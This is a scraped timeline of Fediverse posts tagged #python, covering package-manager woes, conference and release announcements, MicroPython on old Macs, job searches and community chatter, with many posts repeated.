¡Gracias a la vida!
@Emiliagnathus@circumstances.run
I'm sure someone has already invented a #python wiper that gets rid of all stray python installations, venvs and package managers. After two versions of poetry, a conda episode (better say: accident), a switch to uv, inconsistent use of pip, pipx and python installs via #homebrew, and installs via miniconda that #julialang and #quarto sneaked up on me, there is absolutely no way to make any path to anything work in any virtual environment and I need a new laptop. So what's the python wiper called?
@sparksbet@www.librepunk.club
Oh god I need to make an #introduction apparently
26 yo, bi ace transmasc NB, from Ohio but living in Berlin. I've got #ADHD, #neurodivergent #queer and proud.
My hobbies:
- I fucking love to #conlang and it's also how I met my spouse.
- I've started learning #embroidery and am hoping to get into #threadpainting
- I enjoy #gaming, especially when it's an #indiegame. My favorites are narrative-driven games like #discoelysium or simulation games like #rimworld and #sims. I'm also interested in #gamedev, but I haven't dipped my toes yet.
Studied #linguistics in undergrad and switched to #NLP for grad school. I used to want to continue in academia but realized I'd rather make more money and have better work-life balance not doing that. Now I work in #datascience coding in #python for a tech startup and am generally pretty happy with that setup. My heart still calls out for #semantics and #pragmatics though.
@danzin@mastodon.social
Trying real hard to build a fuzzer targeting the CPython JIT, lots of features implemented but not a single crash or bug discovered so far.
Such is life when hunting for crashes in robust code.
This weekend I'll be spinning off a new fuzzer that grew from fusil. Wish me luck 🙂
@danzin@mastodon.social
Alguém daqui vai participar da Python Cerrado 2025?
@blenderdumbass@mastodon.online
From: blenderdumbass . org
This article is published on a website which is powered by BDServer. And I'm trying to make this website support ActivityPub, so you could for example, subscribe to me from your Mastodon account. Yet it is easier said than done.
If you have any experience with ActivityPub, web-development or Python, please consider helping me. We have BDServ...
Read: https://blenderdumbass.org/articles/please_help_me_with_activity_pub
#activitypub #fediverse #mastodon #bdserver #python #programming #webdev #federation #API
@hughagraham@fosstodon.org
Ooh CNN-based cloud masking baked right into a VRT file. This should be fun! #rstats #rspatial #gdal #python
This is using https://github.com/DPIRD-DMA/OmniCloudMask and appears to be a massive improvement on the standard Sentinel 2A SCL band!
@ThePSF@fosstodon.org
We want your vote! Voting-eligible PSF Members (Supporting, Contributing, and Fellow) need to affirm their membership to vote in this year’s Board election to ensure that we meet quorum as required by our Bylaws 🗳️ #python
https://pyfound.blogspot.com/2025/07/affirm-your-psf-membership-voting-status.html
@ThePSF@fosstodon.org
We want your vote! Voting-eligible PSF Members (Supporting, Contributing, and Fellow) need to affirm their membership to vote in this year’s Board election to ensure that we meet quorum as required by our Bylaws 🗳️ #python
https://pyfound.blogspot.com/2025/07/affirm-your-psf-membership-voting-status.html
@paulox@fosstodon.org
At EuroPython, a main room full of people is following my friend Antonio Cuni's talk about "Myths and fairy tales around Python performance" 🐍
@paulox@fosstodon.org
At EuroPython, a main room full of people is following my friend Antonio Cuni's talk about "Myths and fairy tales around Python performance" 🐍
@paulox@fosstodon.org
I'm attending the C API summit here at EuroPython 2025. 🇪🇺
I'm hearing a lot of interesting discussions about Python's C API. 🐍
@paulox@fosstodon.org · Reply to Paolo Melchiorre's post
After the Python C API Summit, we spent a lovely evening chatting over bee 🍻
As usual, the best part of in-person conferences is getting to know people better. 🫂
@paulox@fosstodon.org · Reply to Paolo Melchiorre's post
After the Python C API Summit, we spent a lovely evening chatting over bee 🍻
As usual, the best part of in-person conferences is getting to know people better. 🫂
@netzhexe@chaos.social
Hey Leute, ich brauch eure Ideen! Mein Jüngster (13) probiert gerade #Programmieren aus, einfach um zu sehen ob das was für ihn ist. Am liebsten will er natürlich #Spiele programmieren. Ich habe ihm Coddy gezeigt, weil ich weiß dass das Spaß macht, und er hat sich spontan für #Python entschieden. Coddy macht ihn Spaß, Khan Academy ist eher etwas trocken, mehr fällt mir zu Python gerade nicht ein!
1/2 >>
@paulox@fosstodon.org
I'm attending the C API summit here at EuroPython 2025. 🇪🇺
I'm hearing a lot of interesting discussions about Python's C API. 🐍
@ptmcg@fosstodon.org
I got less traffic for my Python article than I expected, so I added "Python" to the title, and inserted some section headers to break things up a bit, and make the flow of my thinking a bit clearer.
I was pretty happy with how this project turned out. This decorator makes the re.sub function simpler to work with. The decorator simplifies the re.sub API, wrapping your own function that takes in strings and returns a string. https://medium.com/@ptmcg/re-sub-as-a-decorator-madness-717eea7ded50 #python #decorators #regularexpressions
@S_Conradi@mathstodon.xyz
I move 1 along the x-axis, then rotate by an angle theta, I move 1/phi, rotate by theta, I move 1/phi², rotate by theta etc etc.
Made with #python #numpy #matplotlib
@S_Conradi@mathstodon.xyz
I move 1 along the x-axis, then rotate by an angle theta, I move 1/phi, rotate by theta, I move 1/phi², rotate by theta etc etc.
Made with #python #numpy #matplotlib
@raphael@mastodon.sdf.org
Wrote a piece about #python 3.14's remote debugging protocol.
The short version: this is going to make it possible to start your debugger in a running Python process, without any restarts necessary!
But it's even more than that, because this gives you the ability to inject any Python code you want, all in one simple function call
@ptmcg@fosstodon.org
I got less traffic for my Python article than I expected, so I added "Python" to the title, and inserted some section headers to break things up a bit, and make the flow of my thinking a bit clearer.
I was pretty happy with how this project turned out. This decorator makes the re.sub function simpler to work with. The decorator simplifies the re.sub API, wrapping your own function that takes in strings and returns a string. https://medium.com/@ptmcg/re-sub-as-a-decorator-madness-717eea7ded50 #python #decorators #regularexpressions
@raphael@mastodon.sdf.org
Wrote a piece about #python 3.14's remote debugging protocol.
The short version: this is going to make it possible to start your debugger in a running Python process, without any restarts necessary!
But it's even more than that, because this gives you the ability to inject any Python code you want, all in one simple function call
@takmatsuoka@fedibird.com
Reading...
[入門] オープンソースライセンス違反を防ぐための実践ガイド #Python - Qiita
https://qiita.com/ShigemoriMasato/items/7346eee65f1a47934a26
@diazona@techhub.social · Reply to Glyph's post
@glyph @whitequark @mcc There really is a #Python package for everything lol
@handofthrill@mastodon.social · Reply to Mathzy's post
Oh - i get it. Thanks @mathzy
I have also progressed a little and have finally migrated all my Google Notes (a.k.a. "Google Keep") to an open source solution and YES including the images and YES preserving the created-dates. Tadaa! #python
So done is:
✅ Drive -> Nextcloud
✅ Notes -> Nextcloud
Next up:
🚧 Meet -> Jitsi
🚧 Mail -> Managed Mailcow
Still a bit lost here:
❓ Photos -> [tipps welcome]
@llmentalist@mastodon.social
Hi! I’m Wan Ching. I started coding in 2012 with #JavaScript, #Python, and #jQuery. Over the years, I’ve dived into #React, #TypeScript, and now #LLMs. They’re #ToolsNotMagic, and can never replace thinking. 💡 Fundamentals still matter. I’m always excited to learn and grow with every new tool.
I understand it is customary to #Introduction myself.
@ptmcg@fosstodon.org
Another Medium article! I can do this every 8 months or so. This time I walk thru making re.sub accessible using a decorator. Not interested yet? How about if I used this title? "The One Simple Trick Big Regex Doesn't Want You To Know" https://medium.com/@ptmcg/re-sub-as-a-decorator-madness-717eea7ded50 #python #regular_expressions #decorators
@skribe@aus.social
PHP people,
I'm trying to convert some python that I wrote many years ago to #PHP. The code takes a word (string) and converts it into IPA(International Phonetic Alphabet) based on an alphabet character=>IPA dictionary (array).
In Python every string is an array, but in PHP it's not.
How do I iterate over a string not just seeking for individual characters but also for groups of characters? For instance the word 'light' I'd want to seek for 'igh', which would be converted to 'aɪ'
TIA
@bruno@rocha.social
A Bruna Ferreira @bugelseif criou uma coleção sensacional de vídeos curtos com dicas de #python e está tudo publicado lá no canal CodeShow
@bruno@rocha.social
A Bruna Ferreira @bugelseif criou uma coleção sensacional de vídeos curtos com dicas de #python e está tudo publicado lá no canal CodeShow
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python 3.14.0 beta 4! 🚀🐍
🥧 Last beta!
🥧 Do you maintain a Python package? Please test and report bugs!
🥧 This includes creating pre-release wheels for 3.14, as it helps other projects to do their own testing.
https://discuss.python.org/t/python-3-14-0-beta-4-is-here/98092/1?u=hugovk
#Python #CPython #Python314 #release
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: linkotron 0.6.0!
🔗 Adds OSC 8 formatting so you can do make those clickable links in terminal emulators.
https://pypi.org/project/linkotron/
#Python #release #linkotron
@PCzanik@fosstodon.org
Last year, we published a #Prometheus #exporter for #syslog_ng, implemented in #Python. However, syslog-ng 4.9.0 will include one that runs as part of syslog-ng. Needless to say, #testing and #feedback are very welcome!
https://www.syslog-ng.com/community/b/blog/posts/prometheus-exporter-in-syslog-ng
#LogManagement
@PCzanik@fosstodon.org
Last year, we published a #Prometheus #exporter for #syslog_ng, implemented in #Python. However, syslog-ng 4.9.0 will include one that runs as part of syslog-ng. Needless to say, #testing and #feedback are very welcome!
https://www.syslog-ng.com/community/b/blog/posts/prometheus-exporter-in-syslog-ng
#LogManagement
@eulanov@m.eula.dev
XGBoost論文を丁寧に解説する(1) #Python - Qiita https://qiita.com/triwave33/items/aad60f25485a4595b5c8
> 勾配ブーストを用いた決定木(GBDT)によるクラス分類や回帰はデータ分析コンペでも非常によく使われています。その中でも2016年に出されたXGBoostはLightGBMと並びよく使われている手法です。性能が良いことで有名なXGBoost, LightGBMですが、モデル内部でどのような処理が行われているかよくわかっていなかったので論文を読んでみました。
> 式変形の省略が多く、またイメージしづらい箇所もあり、読みづらかったのですが一度イメージできれば割とあっさり理解できます。その体験を踏まえて、イメージ図を多く取り入れながらXGBoostの論文を(途中まで)丁寧に解説します。
@eulanov@m.eula.dev
[速習] 配列から欠けている数字を見つける「XORトリック」の深い理論と実践 #Python - Qiita https://qiita.com/ShigemoriMasato/items/ba1b6d9149e16867c0cf
> XORはアーベル群を形成します。
> 定理: 数列 a₁ ^ a₂ ^ ... ^ aₙ において、重複する要素はすべて打ち消し合い、奇数回出現する要素のみが残る。
@stylus@social.afront.org · Reply to Stylus's post
Doing a little iterative code development in micropython on an emulated m68k mac... I might not be so happy with the loading time if a real floppy was involved, but in an emulator it's heckin' snappy.
Clearly I need to tackle the issue that you can't REALLY draw to the same window as the terminal....
#micropython #python #retroComputing #retro68 #macintosh #m68k
@stylus@social.afront.org · Reply to Stylus's post
Doing a little iterative code development in micropython on an emulated m68k mac... I might not be so happy with the loading time if a real floppy was involved, but in an emulator it's heckin' snappy.
Clearly I need to tackle the issue that you can't REALLY draw to the same window as the terminal....
#micropython #python #retroComputing #retro68 #macintosh #m68k
@stylus@social.afront.org · Reply to Stylus's post
Now you can witness one of the first quickdraw calls from MicroPython on mac... 🎉 ⬛
#micropython #python #retrocomputing #retro68 #macintosh #m68k
@stylus@social.afront.org · Reply to Stylus's post
Now you can witness one of the first quickdraw calls from MicroPython on mac... 🎉 ⬛
#micropython #python #retrocomputing #retro68 #macintosh #m68k
@jgayfer@fosstodon.org
I've been chasing out of memory issues in #Python for literally years at this point. Every 2-3 weeks I've needed to restart my app (lest I leave it to crash from running out of memory).
I've tried every trick in the book to find the "memory leak", and while I've made a few improvements, nothing has stopped the continual climb of memory use.
That is until a month ago. I gave jemalloc (an alternative memory allocator) a try.
The result? 30+ days of uptime with 11GB of RAM to spare 😎
@hobbsc@social.sdf.org
I am currently looking for remote full time or contract work in #devops or backend #development. I'm US based but comfortable with international companies. I am proficient with #python, #linux, and a heap of other tech.
If you'd like more details or would like to connect, my resume and contact info is on my website: https://hobbsc.sdf-us.org
Boosts greatly appreciated! 💜
@aoetk.bsky.social@bsky.brid.gy
Pythonのプロジェクト、パッケージ管理ツールは色々乱立しているが、そろそろ最近注目されているuvが決定打になりそうなの?
てかそろそろ決定的なのが出てほしい… #python
docs.astral.sh/uv/
uv
@aoetk.bsky.social@bsky.brid.gy
Pythonのプロジェクト、パッケージ管理ツールは色々乱立しているが、そろそろ最近注目されているuvが決定打になりそうなの?
てかそろそろ決定的なのが出てほしい… #python
docs.astral.sh/uv/
uv
@hobbsc@social.sdf.org
I am currently looking for remote full time or contract work in #devops or backend #development. I'm US based but comfortable with international companies. I am proficient with #python, #linux, and a heap of other tech.
If you'd like more details or would like to connect, my resume and contact info is on my website: https://hobbsc.sdf-us.org
Boosts greatly appreciated! 💜
@WanadevDigital@piaille.fr
Retour sur le meet-up @AFPy organisé dans nos locaux. 🐍
Lundi dernier, nous avons accueilli la communauté lyonnaise Python pour un meet-up sur le thème "Tout autour d'une bibliothèque Python". 📚
Vous pouvez retrouver sur notre blog, un article de @FLOZz, développeur et responsable infrastructure informatique chez WanadevDigital, qui revient sur le contenu de cet événement :
👉 https://www.wanadevdigital.fr/351-retour-sur-le-meet-up-python-du-30-juin-2025/?mtm_campaign=meetup%20python&mtm_kwd=masto
@stylus@social.afront.org · Reply to Stylus's post
Are there any folks with vintage Mac programming experience who'd like to collaborate on figuring out what's next with Micropython on Mac?
I think that might be: What's the minimal set of APIs to do a fun graphical demo.
Pointers to "how to"-ish documentation in Pascal and C would be great as well, I have failed at finding this kind of stuff. (I do have Inside Macintosh but it is not a great tutorial)
@stylus@social.afront.org · Reply to Stylus's post
asyncio is working on mac micropython!
also (not shown here) the "sys.stdin" object is pollable, and you can double-click a python file to run it as the main code file.
@awwaiid@mastodon.social
Possibly one of the greatest things I've ever done. I present to you: GREMLLM! https://github.com/awwaiid/gremllm #llm #python
@mikehoss@appdot.net
@glyph I took your advice about dataclass-constructers via https://blog.glyph.im/2025/04/stop-writing-init-methods.html and I'm a believer!
@mikehoss@appdot.net
@glyph I took your advice about dataclass-constructers via https://blog.glyph.im/2025/04/stop-writing-init-methods.html and I'm a believer!
@awwaiid@mastodon.social
Possibly one of the greatest things I've ever done. I present to you: GREMLLM! https://github.com/awwaiid/gremllm #llm #python
@laurensvalk@fosstodon.org
Let's-a-go!
#LEGO #Mario #MarioKart #MicroPython #FOSS #Pybricks #Python
@laurensvalk@fosstodon.org
Let's-a-go!
#LEGO #Mario #MarioKart #MicroPython #FOSS #Pybricks #Python
@stylus@social.afront.org · Reply to Stylus's post
Are there any folks with vintage Mac programming experience who'd like to collaborate on figuring out what's next with Micropython on Mac?
I think that might be: What's the minimal set of APIs to do a fun graphical demo.
Pointers to "how to"-ish documentation in Pascal and C would be great as well, I have failed at finding this kind of stuff. (I do have Inside Macintosh but it is not a great tutorial)
@stylus@social.afront.org · Reply to Stylus's post
oh my yay, it now works well enough to save and edit a file, then import and run that file.
you could basically use an old m68k mac as a python3 (well, micropython) development system now.
don't mind the debug messages, they're as scared of you as you are of them.
#micropython #python #retrocomputing #retro68 #macintosh #m68k
@stylus@social.afront.org · Reply to Stylus's post
oh my yay, it now works well enough to save and edit a file, then import and run that file.
you could basically use an old m68k mac as a python3 (well, micropython) development system now.
don't mind the debug messages, they're as scared of you as you are of them.
#micropython #python #retrocomputing #retro68 #macintosh #m68k
@villares@ciberlandia.pt
@stylus@social.afront.org · Reply to Stylus's post
Whee! Now we can import files from the filesystem, as well as reading and writing files. Still haven't wrapped my head around how folders work, still can't enumerate files ..
as usual, work pushed to my micropython fork on github (which is called circuitpython, because you can't have two different forks of the "same" original project, argh).
#micropython #python #retrocomputing #retro68 #macintosh #m68k
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Here's a quick blog post with another recent example why you should run coverage on your tests:
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Here's a quick blog post with another recent example why you should run coverage on your tests:
@hugovk@mastodon.social
Days since running coverage on tests found a bug in the tests: 0
This time, a generator had already been exhausted, before we tried to iterate over it. The lack of coverage highlighted the problem.
https://github.com/python-pillow/Pillow/pull/8979#discussion_r2172250301
https://nedbatchelder.com/blog/201106/running_coverage_on_your_tests.html
@hugovk@mastodon.social
Days since running coverage on tests found a bug in the tests: 0
This time, a generator had already been exhausted, before we tried to iterate over it. The lack of coverage highlighted the problem.
https://github.com/python-pillow/Pillow/pull/8979#discussion_r2172250301
https://nedbatchelder.com/blog/201106/running_coverage_on_your_tests.html
@hugovk@mastodon.social
Days since running coverage on tests found a bug in the tests: 0
This time, a generator had already been exhausted, before we tried to iterate over it. The lack of coverage highlighted the problem.
https://github.com/python-pillow/Pillow/pull/8979#discussion_r2172250301
https://nedbatchelder.com/blog/201106/running_coverage_on_your_tests.html
@django@fosstodon.org
All the DjangoCon Europe 2025 talk recordings are now available 🌟 Enjoy!
https://www.djangoproject.com/weblog/2025/jun/27/watch-the-djangocon-europe-2025-talks/
@django@fosstodon.org
All the DjangoCon Europe 2025 talk recordings are now available 🌟 Enjoy!
https://www.djangoproject.com/weblog/2025/jun/27/watch-the-djangocon-europe-2025-talks/
@meejah@mastodon.social · Reply to Glyph's post
@glyph @zzzeek Yes!
I have now several times wished for an "opinionated" guide to packaging ... _maybe_ refer to some major options, but mostly just say "do 1, then 2".
Two flavours: greenfield, and "I have a setup.py but heard some toml file is better, now what?"
(p.s. I say this as someone who releases several packages and started with Python 1.5-ish, so I can't imagine how a less-experienced Python person navigates this)
#python
@carlton@chaos.social
Idle thought apropos of nothing specific:
The very same folks telling me BOTH that I MUST use pytest, and that Django MUST have its JSON API story built-in continues to be ironic.
I'd (probably) at least open with the thought that testing is easily as central to a language as JSON APIs are to a web framework.
I don't see a movement to merge pytest to the stdlib.
@NABU_Jena@nabu.social
Wir suchen ein*e Entwickler*in für Python und Django. Unsere Wildvogelhilfe hat eine eigene Patienten-Webapp, welche dringend mehr technische Untersützung braucht.
https://git.kraut.space/nabujena/FallenBirdyForm
Melde dich wenn du uns helfen kannst.
#FOSS #Hilfe #NABU #OpenSource #Dev #Python #Docker #Ehrenamt
@kushal@toots.dgplug.org
Dear #python friends, what is the modern good way for tasks to run in a scheduled time in Python?
@itamarst@hachyderm.io
I'm writing my book on Python performance using Quarto (https://quarto.org/) and it's really great technical writing environment out of the box.
But beyond that, it's also extremely customizable.
Each document (an article or chapter) can be a Jupyter notebook, and I have written custom Jupyter magics that e.g. benchmark different functions and generate markdown tables of the results.
So e.g. I'd write:
```{python}
#| echo: false
%%compare_timing --measure=instructions
function1(DATA)
function2(DATA)
```
And it will benchmark both functions and render a Markdown table that shows mean elapsed time and mean CPU instructions.
Rendering the book, including running benchmarks and formatting their results, is completely automated.
@itamarst@hachyderm.io
I'm writing my book on Python performance using Quarto (https://quarto.org/) and it's really great technical writing environment out of the box.
But beyond that, it's also extremely customizable.
Each document (an article or chapter) can be a Jupyter notebook, and I have written custom Jupyter magics that e.g. benchmark different functions and generate markdown tables of the results.
So e.g. I'd write:
```{python}
#| echo: false
%%compare_timing --measure=instructions
function1(DATA)
function2(DATA)
```
And it will benchmark both functions and render a Markdown table that shows mean elapsed time and mean CPU instructions.
Rendering the book, including running benchmarks and formatting their results, is completely automated.
@pyconfi@fosstodon.org
Keynote announcement for PyCon Finland 2025: "Muuttolintujen Kevät - Automatic Bird Sound Classifier" by Patrik Lauha from the University of Helsinki! ☀️ 🦉 🎤
Discover how an innovative convolutional neural network, trained in Python with TensorFlow, identifies vocalisations from 263 Finnish bird species, using over 14 million recordings containing 37 million bird observations collected by citizen scientists.
https://2025.ploneconf.org/news/keynote-muuttolintujen-kevat-automatic-bird-sound-classifier
@pyconfi@fosstodon.org
Keynote announcement for PyCon Finland 2025: "Muuttolintujen Kevät - Automatic Bird Sound Classifier" by Patrik Lauha from the University of Helsinki! ☀️ 🦉 🎤
Discover how an innovative convolutional neural network, trained in Python with TensorFlow, identifies vocalisations from 263 Finnish bird species, using over 14 million recordings containing 37 million bird observations collected by citizen scientists.
https://2025.ploneconf.org/news/keynote-muuttolintujen-kevat-automatic-bird-sound-classifier
@ruthpozuelo@mastodon.social
I finally have all runs that I have ever recorded on a sports watch with location, categorized and matched and the script is fast!
Time to check if younger me was faster that now me 😂
@willmcgugan@mastodon.social
I am once again asking for sponsorship for my work on Rich and Textual.
If I've helped you in the past, or my work has benefited you, consider sponsoring me!
Even coffee money brightens my day. 😇
@willmcgugan@mastodon.social
I am once again asking for sponsorship for my work on Rich and Textual.
If I've helped you in the past, or my work has benefited you, consider sponsoring me!
Even coffee money brightens my day. 😇
@litteracarolina@mastodon.online
I'm probably a little overexcited, but I've recently learned the basics of #Python and it feels like being a wizard. You write the programmer's equivalent of "abracadabra" and voila! a stunning graph visualising your research data appears.
@alvinashcraft@hachyderm.io
@litteracarolina@mastodon.online
I'm probably a little overexcited, but I've recently learned the basics of #Python and it feels like being a wizard. You write the programmer's equivalent of "abracadabra" and voila! a stunning graph visualising your research data appears.
@alvinashcraft@hachyderm.io
@mithfindel@mastodon.social
Or donc, #JeChercheUnJob
Idéalement, où mes 20+ années d'expérience dans "la tech" au sens large pourraient bénéficier à l'#environnement, l'#éducation, la #santé.
Il y a peu de domaines de la tech qui me font peur. J'ai fait du front, du back, de l'embarqué, du desktop, de l'intégration.
Je connais très bien l'écosystème #Java, un peu moins #Nodejs et #Python - et j'apprends vite.
Je me reconnais à 100% dans cette description des "généralistes experts" : https://martinfowler.com/articles/expert-generalist.html
@eliocamp@mastodon.social
Lovely. I managed to install my fledgling #python package and I can use it! Except that only in the vscode terminal. If I open a regular terminal it's not there. Why? I suspect because the vscode terminal is using python 3.10.16 and the regular terminal uses python 3.12.4. Why? Who the fuck knows. Both are using the base conda environment which I assumed was there to ensure a consistent environment.
Obligatory xkcd
@blenderdumbass@mastodon.online
From: blenderdumbass . org
This article is published on a website which is powered by BDServer. And I'm trying to make this website support ActivityPub, so you could for example, subscribe to me from your Mastodon account. Yet it is easier said than done.
If you have any experience with ActivityPub, web-development or Python, please consider helping me. We have BDServ...
Read: https://blenderdumbass.org/articles/please_help_me_with_activity_pub
#activitypub #fediverse #mastodon #bdserver #python #programming #webdev #federation #API
@blenderdumbass@mastodon.online
From: blenderdumbass . org
This article is published on a website which is powered by BDServer. And I'm trying to make this website support ActivityPub, so you could for example, subscribe to me from your Mastodon account. Yet it is easier said than done.
If you have any experience with ActivityPub, web-development or Python, please consider helping me. We have BDServ...
Read: https://blenderdumbass.org/articles/please_help_me_with_activity_pub
#activitypub #fediverse #mastodon #bdserver #python #programming #webdev #federation #API
@achim@social.saarland
I have a #Python file that does not have a *.py extension. I would like to tell my #NeoVim that it is a Python script, so that it can do proper syntax highlighting.
I know that I achieve this by adding some special comments to the file, that are interpreted by NeoVim. But I don't remember how to do it and how the feature is called.
All the involved terms are bad for asking Google. Can somebody give me a hint please?
@qiita@rss-mstdn.studiofreesia.com
OpenStreetMap の世界へようこそ!〜Pythonを使ってデータを活用してみる〜
https://qiita.com/hayato_sakaida_rh/items/cb94d05b25f1f69317d1?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@qiita@rss-mstdn.studiofreesia.com
OpenStreetMap の世界へようこそ!〜Pythonを使ってデータを活用してみる〜
https://qiita.com/hayato_sakaida_rh/items/cb94d05b25f1f69317d1?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@qiita@rss-mstdn.studiofreesia.com
OpenStreetMap の世界へようこそ!〜Pythonを使ってデータを活用してみる〜
https://qiita.com/hayato_sakaida_rh/items/cb94d05b25f1f69317d1?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@hughagraham@fosstodon.org
Ooh CNN-based cloud masking baked right into a VRT file. This should be fun! #rstats #rspatial #gdal #python
This is using https://github.com/DPIRD-DMA/OmniCloudMask and appears to be a massive improvement on the standard Sentinel 2A SCL band!
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python 3.14.0 beta 3! 🚀🐍
🥧 All the good stuff of b2 but also:
🥧 Free-threaded Python is officially supported! (PEP 779)
🥧 Subinterpreters in the stdlib! (PEP 734)
Do you maintain a Python package? Please test 3.14.
If you find a bug now, we can fix it before October, which helps everyone. And you might find some places in your code to update as well, which helps you.
https://discuss.python.org/t/python-3-14-0-beta-3-is-here/95843?u=hugovk
#Python #CPython #Python314 #release #PEP779 #PEP734 #FreeThreaded #subinterpreters
@wagtail@fosstodon.org
If you don't want to use our Wagtail Starter Kit, did you know you can make your own? Here's how: https://wagtail.org/blog/building-a-wagtail-starter-template/
@wagtail@fosstodon.org
If you don't want to use our Wagtail Starter Kit, did you know you can make your own? Here's how: https://wagtail.org/blog/building-a-wagtail-starter-template/
@nedbat@hachyderm.io
Are you in Boston and want to hang with #Python people? Boston Python's project & collaboration night is June 24th. It's an informal gathering to talk together, work together, learn from each other, network, whatever. Tell your friends :)
@fedora@fosstodon.org
GitHub Actions can come in handy for lots of things, and Python development is one of them! You can set up a CI pipeline to test against different versions of Python and make your app more reliable.
This guide is good for Fedora, CentOS, and RHEL. 👌
➡️ https://fedoramagazine.org/python-ci-on-fedora-with-github-actions/
@dentangle@chaos.social
Just watched this rather awesome talk by @glyph at #NBPY
It's been a while since I wrote any #python code, but this is as much a talk about communities, delivering on the promises we make to the people we invite into them, and recognizing new ways to adapt to our changing technology landscape.
And excavators. Worth watching.
@dentangle@chaos.social
Just watched this rather awesome talk by @glyph at #NBPY
It's been a while since I wrote any #python code, but this is as much a talk about communities, delivering on the promises we make to the people we invite into them, and recognizing new ways to adapt to our changing technology landscape.
And excavators. Worth watching.
@ax6761@freeradical.zone · Reply to danzin's post
@danzin @carapace #Perl v5.18 added (too lazy to find the chronological order of the addition in both languages) it; https://perldoc.perl.org/perlsec#Algorithmic-Complexity-Attacks lists various methods used for hash (algorithm) hardening.
@carapace@mastodon.social
Oh my. I'm reading some #Python script and the author has used the hash() built-in function to hash strings. This function doesn't look at the data of the string! (Traditionally it returned the object's address in RAM! IIRC)
@jtp@fosstodon.org
🎉 JupyterLite 0.6 is now available!
Coming with exciting new features:
✨ Interactive input() support (useful for teaching Python)
🔄 New REPL options
🎯 Better kernel status and logs
🧹 Easier browser data management
⚡️ Improved multi-tab support and storage isolation
Check out the blog post and walkthrough video:
➡️ https://blog.jupyter.org/jupyterlite-0-6-0-is-released-b4bc69bfc8f4
➡️ https://www.youtube.com/watch?v=jkQ9ORG5qAM
Thanks @QuantStack, Bloomberg, CourseKata and all the contributors!
@jtp@fosstodon.org
🎉 JupyterLite 0.6 is now available!
Coming with exciting new features:
✨ Interactive input() support (useful for teaching Python)
🔄 New REPL options
🎯 Better kernel status and logs
🧹 Easier browser data management
⚡️ Improved multi-tab support and storage isolation
Check out the blog post and walkthrough video:
➡️ https://blog.jupyter.org/jupyterlite-0-6-0-is-released-b4bc69bfc8f4
➡️ https://www.youtube.com/watch?v=jkQ9ORG5qAM
Thanks @QuantStack, Bloomberg, CourseKata and all the contributors!
@sethmlarson@mastodon.social
Just published the blog posts for the #Python Language Summit 2025. It's quite fun to cover this important event and contribute to the Python community in this unique way :)
Please take a look if you weren't able to attend the Language Summit in person:
https://discuss.python.org/t/announcing-the-python-language-summit-2025-blog-posts/95282
@sethmlarson@mastodon.social
Just published the blog posts for the #Python Language Summit 2025. It's quite fun to cover this important event and contribute to the Python community in this unique way :)
Please take a look if you weren't able to attend the Language Summit in person:
https://discuss.python.org/t/announcing-the-python-language-summit-2025-blog-posts/95282
@publicvoit@graz.social
I upgraded my lenovo #T490 from #NixOS 24.11 to 25.05 within an hour or so.
I've lost "xdu" (custom package doesn't compile anymore), had to manually download a closed source binary once again, had to manually replace "okular" with "kdePackages.okular" and remove "services.locate.localuser".
The upgrade went somewhat fine. Didn't find any issues so far besides the usual Python annoyances (manual re-creation of all venv and so forth).
However, I'm looking forward to switching back to #Debian in a few months. My Debian upgrades didn't require that much time and effort AFAIR and #Python is working in a normal way.
@tanishqkumar@mastodon.social
I'm looking for a standard way to develop GTK-based apps on #Linux but haven't figured it out yet. I found the Workbench app but don't understand how to use it.
I also tried prototyping an idea using #Python and the #GTK library with Claude, but still haven't found a solid approach to build the foundation.
@henryiii@fosstodon.org
cibuildwheel 3.0 is out! New support for Python 3.14 (and 3.14t) betas, GraalPy, and iOS! New defaults, new config options, beautiful docs updates, and more! https://iscinumpy.dev/post/cibuildwheel-3-0-0/ #python #release
@raphael@communick.com · Reply to Raphael Lullis's post
Another side-effect of this work is that now I can take this design back to the #python side, and remove the django parts of it and make it usable for other frameworks, or even the desktop applications.
@Yhg1s@social.coop
#Python 3.13.5, aka "oops".
@henryiii@fosstodon.org
cibuildwheel 3.0 is out! New support for Python 3.14 (and 3.14t) betas, GraalPy, and iOS! New defaults, new config options, beautiful docs updates, and more! https://iscinumpy.dev/post/cibuildwheel-3-0-0/ #python #release
@brainwane@social.coop
I'm proud of my spouse @leonardr for his decades of service to the world. The #Python Software Foundation recently recognized some of that service by naming him a @ThePSF Fellow, and giving him the Community Service Award.
A few photos of the ceremony at #PyConUS 2025: https://harihareswara.net/posts/2025/congratulating-leonard-psf-award/
@pyohio@fosstodon.org
📣 🎊 PyOhio Registration is Now Open! Make sure you secure your space and register now! 🎊 📣
#PyOhio is always a Free to attend #Python #Conference. This year it will take place on Saturday & Sunday July 26 & 27, 2025 at the Cleveland State University Student Center in Cleveland, Ohio
You can donate to help support this free Python Conference even if you're unable to attend! We've got a lot upcoming, make sure you watch for more info!
@blenderdumbass@mastodon.online
From: blenderdumbass . org
This article is published on a website which is powered by BDServer. And I'm trying to make this website support ActivityPub, so you could for example, subscribe to me from your Mastodon account. Yet it is easier said than done.
If you have any experience with ActivityPub, web-development or Python, please consider helping me. We have BDServ...
Read: https://blenderdumbass.org/articles/please_help_me_with_activity_pub
#activitypub #fediverse #mastodon #bdserver #python #programming #webdev #federation #API
@blenderdumbass@mastodon.online
From: blenderdumbass . org
This article is published on a website which is powered by BDServer. And I'm trying to make this website support ActivityPub, so you could for example, subscribe to me from your Mastodon account. Yet it is easier said than done.
If you have any experience with ActivityPub, web-development or Python, please consider helping me. We have BDServ...
Read: https://blenderdumbass.org/articles/please_help_me_with_activity_pub
#activitypub #fediverse #mastodon #bdserver #python #programming #webdev #federation #API
@madiator2011@shark.madiator.com
My friend @blenderdumbass@mastodon.online is implementing ActivityPub for his blog platform and running into weird issues - Lemmy/Misskey can find his account (@blenderdumbass@blenderdumbass.org) but Mastodon can't, even though ActivityPub requests are hitting his server.
He wrote up the full technical journey with all the RSA signature headaches: https://blenderdumbass.org/articles/please_help_me_with_activity_pub
